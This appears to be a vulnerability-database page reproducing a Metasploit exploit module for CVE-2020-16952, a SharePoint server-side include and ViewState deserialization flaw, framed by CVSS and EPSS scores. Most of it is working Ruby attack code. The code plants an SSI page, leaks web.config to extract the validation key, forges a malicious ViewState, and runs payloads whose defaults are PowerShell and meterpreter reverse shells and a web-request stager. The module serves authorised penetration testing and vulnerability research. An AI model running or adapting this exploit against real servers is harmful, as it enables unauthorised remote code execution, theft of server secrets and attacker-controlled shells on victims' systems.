8.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
HIGH
Availability Impact
LOW
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.901 High
EPSS
Percentile
98.8%
This module exploits a server-side include (SSI) in SharePoint to leak the web.config file and forge a malicious ViewState with the extracted validation key. This exploit is authenticated and requires a user with page creation privileges, which is a standard permission in SharePoint. The web.config file will be stored in loot once retrieved, and the VALIDATION_KEY option can be set to short-circuit the SSI and trigger the ViewState deserialization. Tested against SharePoint 2019 on Windows Server 2016.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Sharepoint
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft SharePoint Server-Side Include and ViewState RCE',
'Description' => %q{
This module exploits a server-side include (SSI) in SharePoint to leak
the web.config file and forge a malicious ViewState with the extracted
validation key.
This exploit is authenticated and requires a user with page creation
privileges, which is a standard permission in SharePoint.
The web.config file will be stored in loot once retrieved, and the
VALIDATION_KEY option can be set to short-circuit the SSI and trigger
the ViewState deserialization.
Tested against SharePoint 2019 on Windows Server 2016.
},
'Author' => [
'mr_me', # Discovery and exploit
'wvu' # Module
],
'References' => [
['CVE', '2020-16952'],
['URL', 'https://srcincite.io/advisories/src-2020-0022/'],
['URL', 'https://srcincite.io/pocs/cve-2020-16952.py.txt'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952']
],
'DisclosureDate' => '2020-10-13', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
}
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
}
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'DotNetGadgetChain' => :TypeConfuseDelegate
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [UNRELIABLE_SESSION], # SSI may fail the second time
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
# "Promote" these advanced options so we don't have to pass around our own
OptString.new('HttpUsername', [false, 'SharePoint username']),
OptString.new('HttpPassword', [false, 'SharePoint password'])
])
end
def post_auth?
true
end
def username
datastore['HttpUsername']
end
def password
datastore['HttpPassword']
end
def cookie
datastore['COOKIE']
end
def vuln_builds
# https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
# https://buildnumbers.wordpress.com/sharepoint/
[
[Rex::Version.new('15.0.0.4571'), Rex::Version.new('15.0.0.5275')], # SharePoint 2013
[Rex::Version.new('16.0.0.4351'), Rex::Version.new('16.0.0.5056')], # SharePoint 2016
[Rex::Version.new('16.0.0.10337'), Rex::Version.new('16.0.0.10366')] # SharePoint 2019
]
end
def check
build = sharepoint_get_version('cookie' => cookie)
if build.nil?
return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
end
if vuln_builds.any? { |build_range| build.between?(*build_range) }
return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
end
CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
end
def exploit
if (username.blank? && password.blank?)
if cookie.blank?
fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')
end
print_warning('Using the specified COOKIE for authentication')
end
if (@validation_key = datastore['VALIDATION_KEY'])
print_status("Using ViewState validation key #{@validation_key}")
else
create_ssi_page
leak_web_config
end
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end
def create_ssi_page
print_status("Creating page for SSI: #{ssi_path}")
res = send_request_cgi(
'method' => 'PUT',
'uri' => ssi_path,
'cookie' => cookie,
'data' => ssi_page
)
unless res
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
end
unless [200, 201].include?(res.code)
if res.code == 401
fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")
end
fail_with(Failure::NotFound, 'Failed to create page')
end
print_good('Successfully created page')
@page_created = true
end
def leak_web_config
print_status('Leaking web.config')
res = send_request_cgi(
'method' => 'GET',
'uri' => ssi_path,
'cookie' => cookie,
'headers' => {
ssi_header => '<form runat="server" /><!--#include virtual="/web.config"-->'
}
)
unless res
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
end
unless res.code == 200
fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")
end
unless (web_config = res.get_xml_document.at('//configuration'))
fail_with(Failure::NotFound, 'Failed to extract web.config from response')
end
print_good("Saved web.config to #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}")
unless (@validation_key = extract_viewstate_validation_key(web_config))
fail_with(Failure::NotFound, 'Failed to extract ViewState validation key')
end
print_good("ViewState validation key: #{@validation_key}")
ensure
delete_ssi_page if @page_created
end
def delete_ssi_page
print_status("Deleting #{ssi_path}")
res = send_request_cgi(
'method' => 'DELETE',
'uri' => ssi_path,
'cookie' => cookie,
'partial' => true
)
unless res
print_error("Target did not respond to #{__method__}")
return
end
unless res.code == 204
print_warning('Failed to delete page')
return
end
print_good('Successfully deleted page')
end
def execute_command(cmd, _opts = {})
sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie })
end
def ssi_page
<<~XML
<%@ Register Tagprefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" Assembly="Microsoft.SharePoint, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<WebPartPages:DataFormWebPart runat="server">
<ParameterBindings>
<ParameterBinding Name="#{ssi_param}" Location="ServerVariable(HTTP_#{ssi_header})" DefaultValue="" />
</ParameterBindings>
<xsl>
<xsl:stylesheet xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:param name="#{ssi_param}" />
<xsl:template match="/">
<xsl:value-of select="$#{ssi_param}" disable-output-escaping="yes" />
</xsl:template>
</xsl:stylesheet>
</xsl>
</WebPartPages:DataFormWebPart>
XML
end
def ssi_path
@ssi_path ||= normalize_uri(target_uri.path, "#{rand_text_alphanumeric(8..42)}.aspx")
end
def ssi_header
@ssi_header ||= rand_text_alphanumeric(8..42)
end
def ssi_param
@ssi_param ||= rand_text_alphanumeric(8..42)
end
end
8.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
HIGH
Availability Impact
LOW
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.901 High
EPSS
Percentile
98.8%